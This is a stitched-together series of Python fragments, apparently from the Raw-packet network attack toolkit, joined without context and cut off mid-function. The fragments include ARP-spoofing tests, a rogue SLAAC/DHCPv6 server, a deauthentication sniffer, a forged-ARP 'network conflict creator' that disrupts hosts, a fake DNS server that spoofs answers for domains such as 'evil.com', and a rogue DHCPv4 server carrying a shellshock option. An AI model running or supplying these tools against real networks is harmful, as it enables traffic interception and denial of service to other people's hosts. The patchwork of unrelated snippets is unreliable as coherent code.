arp_spoof_output: str = out.getvalue() print(arp_spoof_output) self.assertEqual(result.exception.code, 1) self.assertIn(self.variables.bad.ipv4_address, arp_spoof_output) def test06_main_bad_target_mac(self): with self.assertRaises(SystemExit) as result: with self.context_manager.captured_output() as (out, err): arp_spoof: ArpSpoof = ArpSpoof( network_interface=self.variables.your.network_interface) arp_spoof.start( gateway_ipv4_address=self.variables.router.ipv4_address, target_ipv4_address=self.variables.target.ipv4_address, target_mac_address=self.variables.bad.mac_address) arp_spoof_output: str = out.getvalue() print(arp_spoof_output) self.assertEqual(result.exception.code, 1) self.assertIn(self.variables.bad.mac_address, arp_spoof_output)
target: Dict[str, Union[None, str]] = { 'mac_address': None, 'ipv6_address': None } first_suffix: Union[None, str] = None last_suffix: Union[None, str] = None clients: Dict = dict() icmpv6_router_solicitation_address: str = '33:33:00:00:00:02' dhcpv6_requests_address: str = '33:33:00:01:00:02' # endregion try: # region Check user, platform and create threads base.check_user() base.check_platform() tm = ThreadManager(5) # endregion # region Parse script arguments parser = ArgumentParser(description='Rogue SLAAC/DHCPv6 server') parser.add_argument('-i', '--interface', help='Set interface name for send reply packets') parser.add_argument('-p', '--prefix', type=str, help='Set network prefix', default='fd00::/64') parser.add_argument('-f',
def resolve( self, ns_servers, # type: List[Dict[str, str]] domain, # type: str subdomains_list=[], # type: List[str] subdomains_file=None, # type: str subdomains_brute=False, # type: bool max_threats_count=10, # type: int udp_destination_port=53, # type: int timeout=30 # type: int ): # type: (...) -> List[Dict[str, str]] """ DNS resolve all subdomains in target domain :param ns_servers: List of DNS servers (example: [{'ipv4 address': '8.8.8.8', 'mac address': '01:23:45:67:89:0a'}]) :param domain: Target domain (example: 'test.com') :param subdomains_list: List of subdomains (example: ['www','ns','mail']) :param subdomains_file: Name of file with subdomains (default: None) :param subdomains_brute: Brute mode on (auto make list with subdomains) if True, Brute mode off if False (default: False) :param max_threats_count: Maximum threats count (default: 10) :param udp_destination_port: UDP destination port (default: 53) :param timeout: Connection after send all DNS queries (default: 30) :return: List of dictionary (example: [{'Domain': 'www.test.com', 'IPv4 address': '1.2.3.4', 'IPv6 address': '-'}]) """ try: # region Set target domain assert not (domain is None or domain == ''), \ 'Target domain is empty, please set target domain in this parameter: ' + self.base.info_text('domain') self.domain = domain # endregion # region Subdomains list if len(subdomains_list) > 0: self.subdomains = subdomains_list # endregion # region Subdomains file if subdomains_file is not None: assert isfile(subdomains_file), \ 'File with subdomain list:' + self.base.error_text(subdomains_file) + ' not found!' with open(subdomains_file) as subdomains_file_descriptor: for subdomain in subdomains_file_descriptor.read( ).splitlines(): self.subdomains.append(subdomain) # endregion # region Subdomains brute if subdomains_brute: if not self.quiet: self.base.print_info( 'Make subdomains list for brute .... ') for character1 in self.available_characters: self.subdomains.append(character1) for character2 in self.available_characters: self.subdomains.append(character1 + character2) for character3 in self.available_characters: self.subdomains.append(character1 + character2 + character3) # endregion # region Check length of subdomains list assert len(self.subdomains) != 0, \ 'List containing subdomains is empty, please set any of this parameters: ' \ + self.base.info_text('subdomain_list') + ' or ' \ + self.base.info_text('subdomain_file') + ' or ' \ + self.base.info_text('subdomain_brute') # endregion # region Create raw socket raw_socket = socket(AF_PACKET, SOCK_RAW) raw_socket.bind((self.network_interface, 0)) # endregion # region Sniff DNS answers if not self.quiet: self.base.print_info('Start DNS answers sniffer ...') threats = ThreadManager(max_threats_count) threats.add_task(self._sniff_packets, self.your_mac_address, self.your_ipv4_address, self.your_ipv6_address, udp_destination_port) # endregion # region Send DNS queries if not self.quiet: self.base.print_info('Start sending DNS queries, time: ', str(datetime.now())) self._send_queries(send_socket=raw_socket, source_mac_address=self.your_mac_address, source_ipv4_address=self.your_ipv4_address, source_ipv6_address=self.your_ipv6_address, domain=domain, ns_servers=ns_servers, destination_port=udp_destination_port, max_threats_count=int(max_threats_count) - 1, subdomains=self.subdomains) # endregion # region Timeout if not self.quiet: self.base.print_info('Wait timeout: ', str(timeout) + ' sec') sleep(timeout) # endregion # region Return results return self.results # endregion except AssertionError as Error: self.base.print_error(Error.args[0]) exit(1)
def scan(self, network_interface: str = 'eth0', timeout: int = 3, retry: int = 3, target_mac_address: Union[None, str] = None, check_vendor: bool = True, exit_on_failure: bool = True) -> List[Dict[str, str]]: """ Find alive IPv6 hosts in local network with echo (ping) request packets :param network_interface: Network interface name (example: 'eth0') :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param target_mac_address: Target MAC address (example: 192.168.0.1) :param check_vendor: Check vendor of hosts (default: True) :param exit_on_failure: Exit if alive IPv6 hosts in network not found (default: True) :return: List of alive hosts in network (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': 'fe80::1234:5678:90ab:cdef', 'vendor': 'Apple, Inc.'}]) """ # region Clear lists with scan results self.results.clear() self.unique_results.clear() self.mac_addresses.clear() # endregion # region Set variables if target_mac_address is not None: self.base.mac_address_validation(mac_address=target_mac_address, exit_on_failure=True) self.target_mac_address = target_mac_address self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) self.icmpv6_identifier = randint(1, 65535) # endregion # region Run _sniffer tm = ThreadManager(2) tm.add_task(self._sniff) # endregion # region Run _sender self._send() # endregion # region Wait sleep(self.timeout) # endregion # region Unique results for index in range(len(self.results)): if self.results[index]['mac-address'] not in self.mac_addresses: self.unique_results.append(self.results[index]) self.mac_addresses.append(self.results[index]['mac-address']) # endregion # region Get vendors if check_vendor: for result_index in range(len(self.unique_results)): self.unique_results[result_index]['vendor'] = \ self.base.get_vendor_by_mac_address(self.unique_results[result_index]['mac-address']) # endregion # region Return results if len(self.unique_results) == 0: if exit_on_failure: self.base.error_text( 'Could not found alive IPv6 hosts on interface: ' + self.network_interface) exit(1) return self.unique_results
def main(): # region Init Raw-packet modules base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin']) thread_manager: ThreadManager = ThreadManager(10) # endregion # region Check user base.check_user() # endregion # region Parse script arguments script_description: str = \ base.get_banner(__script_name__) + '\n' + \ base.info_text('Ctrl-E') + ' Show Wireless access point information\n' + \ base.info_text('Ctrl-D') + ' Send IEEE 802.11 deauth packets\n' + \ base.info_text('Ctrl-D') + ' Switch WiFi channel\n' + \ base.info_text('Ctrl-A') + ' Send IEEE 802.11 association packet\n' + \ base.info_text('Ctrl-R') + ' Start scanner (switch between WiFi channels)\n' + \ base.info_text('Ctrl-H') + ' Show help information\n' + \ base.info_text('Ctrl-C') + ' Exit\n' parser: ArgumentParser = ArgumentParser( description=script_description, formatter_class=RawDescriptionHelpFormatter) parser.add_argument('-i', '--interface', help='Set wireless interface name for sniff packets', default=None) parser.add_argument('-c', '--channel', type=int, help='Set WiFi channel', default=None) parser.add_argument('-d', '--debug', action='store_true', help='Maximum output') args = parser.parse_args() # endregion # region Print banner base.print_banner(__script_name__) # endregion try: # region Get wireless network interface wireless_interface: str = \ base.network_interface_selection(interface_name=args.interface, only_wireless=True, message='Please select a network interface for ' + __script_name__ + ' from table: ') # endregion # region Init Raw-packet WiFi class wifi: WiFi = WiFi(wireless_interface=wireless_interface, wifi_channel=args.channel, debug=args.debug) # endregion # region Start WiFi Sniffer wifi_sniffer: WiFiSniffer = WiFiSniffer(wifi_instance=wifi, base_instance=base, tm_instance=thread_manager) wifi_sniffer.run() # endregion except KeyboardInterrupt: base.print_info('Exit') exit(0) except AssertionError as Error: base.print_error(Error.args[0]) exit(1)
class ICMPv6RouterSearch: # region Set variables _base: Base = Base() _icmpv6: RawICMPv6 = RawICMPv6() _raw_sniff: RawSniff = RawSniff() _thread_manager: ThreadManager = ThreadManager(2) _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None, 'ipv6-link-address': None} _retry_number: int = 3 _timeout: int = 3 _router_info: Union[None, Dict[str, Union[int, str]]] = None # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings(interface_name=network_interface, required_parameters=['mac-address', 'ipv6-link-address']) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Analyze packet def _analyze_packet(self, packet: Dict) -> None: try: assert 'Ethernet' in packet.keys() assert 'IPv6' in packet.keys() assert 'ICMPv6' in packet.keys() assert 'type' in packet['ICMPv6'].keys() # 134 Type of ICMPv6 Router Advertisement assert packet['ICMPv6']['type'] == 134, 'Not ICMPv6 Router Advertisement packet!' # Save router information self._router_info = dict() self._router_info['router_mac_address'] = packet['Ethernet']['source'] self._router_info['router_ipv6_address'] = packet['IPv6']['source-ip'] self._router_info['flags'] = hex(packet['ICMPv6']['flags']) self._router_info['router-lifetime'] = int(packet['ICMPv6']['router-lifetime']) self._router_info['reachable-time'] = int(packet['ICMPv6']['reachable-time']) self._router_info['retrans-timer'] = int(packet['ICMPv6']['retrans-timer']) for icmpv6_ra_option in packet['ICMPv6']['options']: if icmpv6_ra_option['type'] == 3: self._router_info['prefix'] = str(icmpv6_ra_option['value']['prefix']) + '/' + \ str(icmpv6_ra_option['value']['prefix-length']) if icmpv6_ra_option['type'] == 5: self._router_info['mtu'] = int(icmpv6_ra_option['value'], 16) if icmpv6_ra_option['type'] == 25: self._router_info['dns-server'] = str(icmpv6_ra_option['value']['address']) # Search router vendor self._router_info['vendor'] = \ self._base.get_vendor_by_mac_address(self._router_info['router_mac_address']) except AssertionError: pass # endregion # region Sniffer def _sniff(self) -> None: """ Sniff ICMPv6 packets :return: None """ # region ICMPv6 multicast ping scan self._raw_sniff.start(protocols=['Ethernet', 'IPv6', 'ICMPv6'], prn=self._analyze_packet, filters={'ICMPv6': {'type': 134}}, network_interface=self._your['network-interface'], scapy_filter='icmp6') # endregion # region Sender def _send(self) -> None: """ Send ICMPv6 packets :return: None """ request: bytes = self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address']) self._raw_send.send_packet(packet=request, count=self._retry_number, delay=0.1) # endregion # region Search IPv6 router def search(self, timeout: int = 3, retry: int = 3, exit_on_failure: bool = True) -> Dict[str, Union[int, str]]: """ Search IPv6 router in network :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param exit_on_failure: Exit if IPv6 router in network not found (default: True) :return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a', 'router_ipv6_address': 'fe80::1234:5678:90ab:cdef', 'flags': '0x0', 'router-lifetime': 0, 'reachable-time': 0, 'retrans-timer': 0, 'prefix': 'fd00::/64', 'vendor': 'D-Link International'}) """ # region Set variables self._timeout = int(timeout) self._retry_number = int(retry) # endregion # region Run _sniffer self._thread_manager.add_task(self._sniff) # endregion # region Run _sender self._send() # endregion # region Wait sleep(self._timeout) # endregion # region Return IPv6 router information if self._router_info is None: if exit_on_failure: self._base.error_text('Could not found IPv6 Router on interface: ' + self._your['network-interface']) exit(1) return self._router_info
class NetworkConflictCreator: # region Variables _base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows']) _utils: Utils = Utils() _arp: RawARP = RawARP() _sniff: RawSniff = RawSniff() _thread_manager: ThreadManager = ThreadManager(2) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None } _target: Dict[str, Union[None, str]] = { 'ipv4-address': None, 'mac-address': None } _conflict_packet: Dict[str, Union[None, bytes]] = { 'request': None, 'response': None } _replies: bool = False _requests: bool = False _make_conflict: bool = False _exit_on_success: bool = False # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=[ 'mac-address', 'ipv4-address', 'first-ipv4-address', 'last-ipv4-address' ]) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Start Network Conflict Creator (ncc) def start(self, target_mac_address: Union[None, str] = None, target_ip_address: Union[None, str] = None, broadcast: bool = False, replies: bool = False, requests: bool = False, exit_on_success: bool = False, number_of_packets: int = 10) -> None: try: # region Set Variables self._replies = replies self._requests = requests self._exit_on_success = exit_on_success # endregion # region Check Target MAC- and IP-address if target_ip_address is not None: self._target = self._utils.set_ipv4_target( network_interface=self._your['network-interface'], target_ipv4_address=target_ip_address, target_mac_address=target_mac_address) # endregion # region Target IP address is not Set if self._target['ipv4-address'] is None: self._sniff_start() # endregion # region Target IP address is Set if self._target['ipv4-address'] is not None: # region Make ARP conflict packets self._conflict_packet['response'] = \ self._arp.make_response(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], sender_mac=self._your['mac-address'], sender_ip=self._target['ipv4-address'], target_mac=self._target['mac-address'], target_ip=self._target['ipv4-address']) if broadcast: _destination_mac_address = 'ff:ff:ff:ff:ff:ff' else: _destination_mac_address = '33:33:00:00:00:01' _random_ip: str = self._base.get_random_ip_on_interface( self._your['network-interface']) self._conflict_packet['request'] = \ self._arp.make_request(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=_destination_mac_address, sender_mac=self._your['mac-address'], sender_ip=self._target['ipv4-address'], target_mac='00:00:00:00:00:00', target_ip=_random_ip) # endregion # region Start Sniffer in thread self._thread_manager.add_task(self._sniff_start) sleep(3) # endregion # region Send ARP reply packets if self._replies: self._base.print_info( 'Send only ARP reply packets to: ', str(self._target['ipv4-address']) + ' (' + str(self._target['mac-address']) + ')') self._raw_send.send_packet( packet=self._conflict_packet['response'], count=number_of_packets, delay=0.5) # endregion # region Send ARP request packets elif self._requests: self._base.print_info( 'Send only Multicast ARP request packets to: ', str(self._target['ipv4-address']) + ' (' + str(self._target['mac-address']) + ')') self._raw_send.send_packet( packet=self._conflict_packet['request'], count=number_of_packets, delay=0.5) # endregion # region Send Multicast ARP request packets else: current_number_of_packets: int = 0 while not self._make_conflict: if current_number_of_packets == number_of_packets: break else: self._base.print_info( 'Send Multicast ARP request to: ', str(self._target['ipv4-address']) + ' (' + str(self._target['mac-address']) + ')') self._raw_send.send_packet( packet=self._conflict_packet['request']) sleep(3) current_number_of_packets += 1 # endregion # endregion except KeyboardInterrupt: self._base.print_info('Exit NCC') exit(0) except AssertionError as Error: self._base.print_error(Error.args[0]) exit(1) # endregion # region Send ARP reply packets def _reply(self, packet: Dict): try: if not self._replies and not self._requests: if 'ARP' in packet.keys(): if self._target['ipv4-address'] is not None: if packet['ARP']['sender-ip'] == self._target['ipv4-address'] and \ packet['ARP']['sender-mac'] == self._target['mac-address']: self._base.print_info( 'Send IPv4 Address Conflict ARP response to: ', self._target['ipv4-address'] + ' (' + self._target['mac-address'] + ')') self._make_conflict = True self._raw_send.send_packet( self._conflict_packet['response']) else: if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \ packet['ARP']['opcode'] == 1 and \ packet['ARP']['sender-ip'] == packet['ARP']['target-ip']: self._base.print_info( 'Sniff Gratuitous ARP request for ', packet['ARP']['sender-ip'] + ' (' + packet['Ethernet']['source'] + ')') self._base.print_info( 'Send Gratuitous ARP reply for ', packet['ARP']['sender-ip'] + ' (' + packet['Ethernet']['source'] + ')') self._raw_send.\ send_packet(self._arp.make_response(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], sender_mac=self._your['mac-address'], sender_ip=packet['ARP']['sender-ip'], target_mac=packet['Ethernet']['source'], target_ip=packet['ARP']['sender-ip'])) if 'DHCPv4' in packet.keys(): if packet['DHCPv4'][53] == 4: self._base.print_success( 'DHCPv4 Decline from: ', packet['DHCPv4'][50] + ' (' + packet['Ethernet']['source'] + ')', ' IPv4 address conflict detected!') if self._exit_on_success: self._make_conflict = True exit(0) if packet['DHCPv4'][53] == 3: if 50 in packet['DHCPv4'].keys(): if 'client-mac-address' in packet['DHCPv4'].keys(): if packet['DHCPv4'][ 'client-mac-address'] == self._target[ 'mac-address']: self._target['ipv4-address'] = str( packet['DHCPv4'][50]) self._base.print_success('DHCPv4 Request from: ', packet['Ethernet']['source'], ' requested ip: ', str(packet['DHCPv4'][50])) except KeyboardInterrupt: exit(0) except KeyError: pass except TypeError: pass # endregion # region ARP sniffer def _sniff_start(self): try: if self._target['ipv4-address'] is not None: self._base.print_info('Sniff ARP or DHCPv4 requests from: ', str(self._target['mac-address'])) self._sniff.start( protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._reply, filters={ 'Ethernet': { 'source': self._target['mac-address'] }, 'UDP': { 'source-port': 68, 'destination-port': 67 } }, network_interface=self._your['network-interface'], scapy_filter='arp or (udp and (port 67 or 68))', scapy_lfilter=lambda eth: eth.src == self._target[ 'mac-address']) else: self._base.print_info('Sniff ARP or DHCPv4 requests ...') self._sniff.start( protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._reply, filters={ 'UDP': { 'source-port': 68, 'destination-port': 67 } }, network_interface=self._your['network-interface'], scapy_filter='arp or (udp and (port 67 or 68))') except KeyboardInterrupt: exit(0)
class DnsServerTest(unittest.TestCase): # region Properties path.append(dirname(dirname(dirname(dirname(dirname(abspath(__file__))))))) from raw_packet.Utils.base import Base from raw_packet.Utils.tm import ThreadManager from raw_packet.Servers.dns_server import RawDnsServer base: Base = Base() tm: ThreadManager = ThreadManager(2) dns_server: RawDnsServer = RawDnsServer() interface: str = 'lo' ipv4_address: str = '127.0.0.1' ipv6_address: str = '::1' listen_port: int = 53 fake_ipv4_addresses: List[str] = ['192.168.0.123', '192.168.0.234'] fake_ipv6_addresses: List[str] = ['fd00::123', 'fd00::234'] fake_ns_servers: List[str] = ['ns1.test.com', 'ns2.test.com'] fake_mx_servers: List[str] = ['mail1.test.com', 'mail2.test.com'] fake_domains_regexp: List[str] = ['(test1|test2)\\.google.com', 'evil.com'] fake_domains: List[str] = [ 'test1.google.com', 'test2.google.com', 'evil.com' ] no_such_domains: List[str] = ['gooogle.com', 'eviiil.com'] real_domains: List[str] = ['www.google.com', 'google.com'] success_domains: List[str] = ['evil.com'] config_file_name: str = 'config.json' config_fake_domains: List[str] = ['test1.com', 'www.test1.com'] config_success_domains: List[str] = ['test2.com', 'www.test2.com'] config_no_such_domains: List[str] = ['test3.com', 'www.test3.com'] config_content: Dict = { '.*test1.com': { 'A': fake_ipv4_addresses[0], 'AAAA': fake_ipv6_addresses, 'NS': fake_ns_servers[0], 'MX': fake_mx_servers }, '.*test2.com': { 'success': True, 'A': 'my ipv4 address', 'AAAA': 'my ipv6 address' }, '.*test3.com': { 'no such domain': True } } with open(config_file_name, 'w') as config_file: dump(config_content, config_file) tm.add_task(dns_server.listen, interface, listen_port, None, None, None, False, fake_ipv4_addresses, fake_ipv6_addresses, fake_domains_regexp, no_such_domains, True, False, success_domains, config_file_name) test_ipv4_resolver = Resolver() test_ipv6_resolver = Resolver() test_ipv4_resolver.nameservers = [ipv4_address] test_ipv6_resolver.nameservers = [ipv6_address] test_ipv4_resolver.timeout = 3 test_ipv6_resolver.timeout = 3 result_addresses: List[str] = list() # endregion def test01_resolve_ipv4_fake_domain(self): for fake_domain in self.fake_domains: answers = self.test_ipv6_resolver.query(fake_domain, A) for answer in answers: self.result_addresses.append(answer.address) self.assertEqual(self.result_addresses, self.fake_ipv4_addresses) self.result_addresses.clear() def test02_resolve_ipv6_fake_domain(self): for fake_domain in self.fake_domains: answers = self.test_ipv6_resolver.query(fake_domain, AAAA) for answer in answers: self.result_addresses.append(answer.address) self.assertEqual(self.result_addresses, self.fake_ipv6_addresses) self.result_addresses.clear() def test03_resolve_no_such_domain(self): for no_such_domain in self.no_such_domains: nslookup_process = run( ['nslookup ' + no_such_domain + ' ' + self.ipv6_address], stdout=PIPE, shell=True) nslookup_stdout: str = nslookup_process.stdout.decode('utf-8') self.assertIn('server can\'t find ' + no_such_domain, nslookup_stdout) def test04_resolve_ipv4_real_domain(self): for real_domain in self.real_domains: answers = self.test_ipv6_resolver.query(real_domain, A) for answer in answers: self.result_addresses.append(answer.address) self.assertNotEqual(self.result_addresses, self.fake_ipv4_addresses) self.assertNotEqual(len(self.result_addresses), 0) self.result_addresses.clear() def test05_resolve_ipv6_real_domain(self): for real_domain in self.real_domains: answers = self.test_ipv6_resolver.query(real_domain, AAAA) for answer in answers: self.result_addresses.append(answer.address) self.assertNotEqual(self.result_addresses, self.fake_ipv6_addresses) self.assertNotEqual(len(self.result_addresses), 0) self.result_addresses.clear() def test06_resolve_config_domains(self): for config_fake_domain in self.config_fake_domains: answers = self.test_ipv6_resolver.query(config_fake_domain, A) for answer in answers: self.result_addresses.append(answer.address) self.assertEqual(self.result_addresses, [self.fake_ipv4_addresses[0]]) self.result_addresses.clear() answers = self.test_ipv6_resolver.query(config_fake_domain, AAAA) for answer in answers: self.result_addresses.append(answer.address) self.assertEqual(self.result_addresses, self.fake_ipv6_addresses) self.result_addresses.clear() answers = self.test_ipv6_resolver.query(config_fake_domain, NS) for answer in answers: self.result_addresses.append(str(answer.target)[:-1]) self.assertEqual(self.result_addresses, [self.fake_ns_servers[0]]) self.result_addresses.clear() answers = self.test_ipv6_resolver.query(config_fake_domain, MX) for answer in answers: self.result_addresses.append(str(answer.exchange)[:-1]) self.assertEqual(self.result_addresses, self.fake_mx_servers) self.result_addresses.clear() for config_success_domain in self.config_success_domains: answers = self.test_ipv6_resolver.query(config_success_domain, A) for answer in answers: self.result_addresses.append(answer.address) self.assertEqual(self.result_addresses, [self.ipv4_address]) self.result_addresses.clear() answers = self.test_ipv6_resolver.query(config_success_domain, AAAA) for answer in answers: self.result_addresses.append(answer.address) self.assertEqual(self.result_addresses, [self.ipv6_address]) self.result_addresses.clear() for no_such_domain in self.config_no_such_domains: nslookup_process = run( ['nslookup ' + no_such_domain + ' ' + self.ipv6_address], stdout=PIPE, shell=True) nslookup_stdout: str = nslookup_process.stdout.decode('utf-8') self.assertIn('server can\'t find ' + no_such_domain, nslookup_stdout) remove(self.config_file_name)
# region Authorship information __author__ = 'Vladimir Ivanov' __copyright__ = 'Copyright 2019, Raw-packet Project' __credits__ = [''] __license__ = 'MIT' __version__ = '0.0.4' __maintainer__ = 'Vladimir Ivanov' __email__ = '*****@*****.**' __status__ = 'Production' # endregion # region Check user and platform Base = Base() ArpScan = ArpScan() Sniff = Sniff_raw() TM = ThreadManager(2) Base.check_user() Base.check_platform() # endregion # region Parse script arguments parser = ArgumentParser(description='Network conflict creator script') parser.add_argument('-i', '--interface', type=str, help='Set interface name for listen and send packets') parser.add_argument('-t', '--target_ip', type=str, help='Set target IP address', default=None) parser.add_argument('-m', '--target_mac', type=str, help='Set target MAC address', default=None) parser.add_argument('--replies', action='store_true', help='Send only ARP replies') parser.add_argument('--requests', action='store_true', help='Send only ARP requests') parser.add_argument('--broadcast', action='store_true', help='Send broadcast ARP requests')
if target_mac == "ff:ff:ff:ff:ff:ff": Base.print_error( "Could not find device MAC address with IP address: ", target_ip) exit(1) else: apple_device = [target_ip, target_mac] # endregion # region Print target IP and MAC address Base.print_info("Target: ", apple_device[0] + " (" + apple_device[1] + ")") # endregion # region Start sniffer tm = ThreadManager(2) tm.add_task(sniffer) # endregion # region Send first Multicast ARP request sleep(3) Base.print_warning("Send initial Multicast ARP requests") send_arp_request() # endregion # region Wait for completion tm.wait_for_completion() # endregion except KeyboardInterrupt: Base.print_info("Exit")
def get_mac_address(self, network_interface: str = 'eth0', target_ip_address: str = '192.168.0.1', timeout: int = 5, retry: int = 5, exit_on_failure: bool = True, show_scan_percentage: bool = True) -> str: """ Get MAC address of IP address on network interface :param network_interface: Network interface name (example: 'eth0') :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param target_ip_address: Target IPv4 address (example: 192.168.0.1) :param exit_on_failure: Exit if MAC address of target IP address not found (default: True) :param show_scan_percentage: Show ARP scan progress percentage (default: True) :return: MAC address of target IP address (example: '01:23:45:67:89:0a') """ # region Set result MAC address value result_mac_address = 'ff:ff:ff:ff:ff:ff' # endregion try: # region Clear lists with scan results self.results.clear() self.unique_results.clear() self.mac_addresses.clear() # endregion # region Set variables self.quit = not show_scan_percentage self.target_ip_address = target_ip_address self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) # endregion # region Run _sniffer tm = ThreadManager(2) tm.add_task(self._sniff) # endregion # region Run sender self._send() # endregion # region Wait sleep(self.timeout) # endregion # region Return if 'mac-address' in self.results[0].keys(): result_mac_address = self.results[0]['mac-address'] # endregion except IndexError: pass except KeyboardInterrupt: self.base.print_info('Exit') exit(0) if result_mac_address == 'ff:ff:ff:ff:ff:ff': if exit_on_failure: self.base.print_error( 'Could not find MAC address of IP address: ', target_ip_address) exit(1) return result_mac_address
def _send_queries( self, send_socket, # type: socket source_mac_address, # type: str source_ipv4_address, # type: str source_ipv6_address, # type: str domain, # type: str ns_servers, # type: List[Dict[str, str]] destination_port=53, # type: int max_threats_count=9, # type: int subdomains=['www'], # type: List[str] queries_type=[1, 28], # type: List[int] queries_class=[1] # type: List[int] ): # type: (...) -> None """ Send DNS queries to IPv4/IPv6 DNS servers :param send_socket: Raw socket for sending DNS queries :param source_mac_address: Source MAC address for DNS query (most likely this is MAC address on your network interface) :param source_ipv4_address: Source IPv4 address for DNS query (most likely this is IPv4 address on your network interface) :param source_ipv6_address: Source IPv6 address for DNS query (most likely this is IPv6 address on your network interface) :param domain: Target domain (example: 'test.com') :param ns_servers: List of DNS servers (example: [{'ipv4 address': '8.8.8.8', 'mac address': '01:23:45:67:89:0a'}]) :param destination_port: UDP destination port (default: 53) :param max_threats_count: Maximum threats count (default: 9) :param subdomains: List of subdomains (default: ['www']) :param queries_type: List of queries type (default: [1, 28]; type 1: A, type 28: AAAA) :param queries_class: List of queries class (default: [1]; class 1: IN) :return: None """ # DNS query type: 1 (A) # DNS query type: 28 (AAAA) # DNS query class: 1 (IN) # region Init threat manager send_threats = ThreadManager(max_threats_count) # endregion # region Make DNS queries list queries = list() for subdomain in subdomains: for query_type in queries_type: for query_class in queries_class: queries.append({ 'type': query_type, 'class': query_class, 'name': subdomain + '.' + domain }) # endregion # region Calculate number of DNS queries for one threat queries_len = len(queries) ipv4_ns_servers_len = 0 ipv6_ns_servers_len = 0 for ns_server in ns_servers: if 'ipv4 address' in ns_server.keys(): ipv4_ns_servers_len += 1 if 'ipv6 address' in ns_server.keys(): ipv6_ns_servers_len += 1 if source_ipv6_address is not None: queries_len_for_threat = int( (queries_len * (ipv4_ns_servers_len + ipv6_ns_servers_len)) / max_threats_count) + 1 else: queries_len_for_threat = int( (queries_len * ipv4_ns_servers_len) / max_threats_count) + 1 # endregion # region Send DNS queries # region Send DNS queries to IPv4 NS servers for ns_server in ns_servers: if 'ipv4 address' in ns_server.keys(): for query_index in range(0, queries_len, queries_len_for_threat): send_threats.add_task( self._send_ipv4_queries, source_mac_address, source_ipv4_address, ns_server['mac address'], ns_server['ipv4 address'], destination_port, queries[query_index:query_index + queries_len_for_threat], send_socket) # endregion # region Send DNS queries to IPv6 NS servers if source_ipv6_address is not None: for ns_server in ns_servers: if 'ipv6 address' in ns_server.keys(): for query_index in range(0, queries_len, queries_len_for_threat): send_threats.add_task( self._send_ipv6_queries, source_mac_address, source_ipv6_address, ns_server['mac address'], ns_server['ipv6 address'], destination_port, queries[query_index:query_index + queries_len_for_threat], send_socket) # endregion # endregion # region Wait all threats send_threats.wait_for_completion()
# region Main function if __name__ == "__main__": path.append(dirname(dirname(dirname(abspath(__file__))))) from raw_packet.Utils.base import Base from raw_packet.Utils.network import RawEthernet from raw_packet.Utils.network import RawRadiotap from raw_packet.Utils.network import RawIEEE80211 from raw_packet.Utils.network import RawSniff from raw_packet.Utils.tm import ThreadManager base: Base = Base() eth: RawEthernet = RawEthernet() radio: RawRadiotap = RawRadiotap() iee: RawIEEE80211 = RawIEEE80211() tm: ThreadManager = ThreadManager(2) sniff: RawSniff = RawSniff() # region Start sniffer raw_socket.bind(('wlan0', 0)) init_deauth() print('test') sniff.start(protocols=['Radiotap', '802.11'], prn=deauth, network_interface='wlan0', filters={'802.11': {'type': 0xc0, 'bss id': bss_id, 'source': client, 'destination': bss_id}}) # endregion # endregion
class DHCPv4Server: # region Set properties _base: Base = Base() _utils: Utils = Utils() _sniff: RawSniff = RawSniff() _arp: RawARP = RawARP() _eth: RawEthernet = RawEthernet() _dhcpv4: RawDHCPv4 = RawDHCPv4() _thread_manager: ThreadManager = ThreadManager(10) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv4-address': None } _target: Dict[str, Union[None, str]] = { 'mac-address': None, 'ipv4-address': None } _domain_search: Union[None, bytes] = None _free_ip_addresses: List[str] = list() _clients: Dict[str, Union[str, Dict[str, Union[bool, str]]]] = dict() _lease_time: int = 172800 _shellshock_option_code: int = 114 _discover_sender_is_work: bool = False _discover_sender_delay: float = 0.25 _send_dhcp_discover_packets: bool = False _send_dhcp_offer_packets: bool = True _send_broadcast_dhcp_response: bool = False _exit_on_success: bool = False _apple: bool = False _quiet: bool = True # endregion # region Init def __init__(self, network_interface: str): self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=[ 'mac-address', 'ipv4-address', 'ipv4-netmask', 'first-ipv4-address', 'second-ipv4-address', 'penultimate-ipv4-address', 'last-ipv4-address' ]) self._ipv4_network_mask: str = self._your['ipv4-netmask'] self._first_offer_ipv4_address: str = self._your['second-ipv4-address'] self._last_offer_ipv4_address: str = self._your[ 'penultimate-ipv4-address'] self._dhcp_server_mac_address: str = self._your['mac-address'] self._dhcp_server_ipv4_address: str = self._your['ipv4-address'] self._dns_server_ipv4_address: str = self._your['ipv4-address'] self._tftp_server_ipv4_address: str = self._your['ipv4-address'] self._wins_server_ipv4_address: str = self._your['ipv4-address'] self._router_ipv4_address: str = self._your['ipv4-address'] self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Start DHCPv4 server def start(self, target_mac_address: Union[None, str] = None, target_ipv4_address: Union[None, str] = 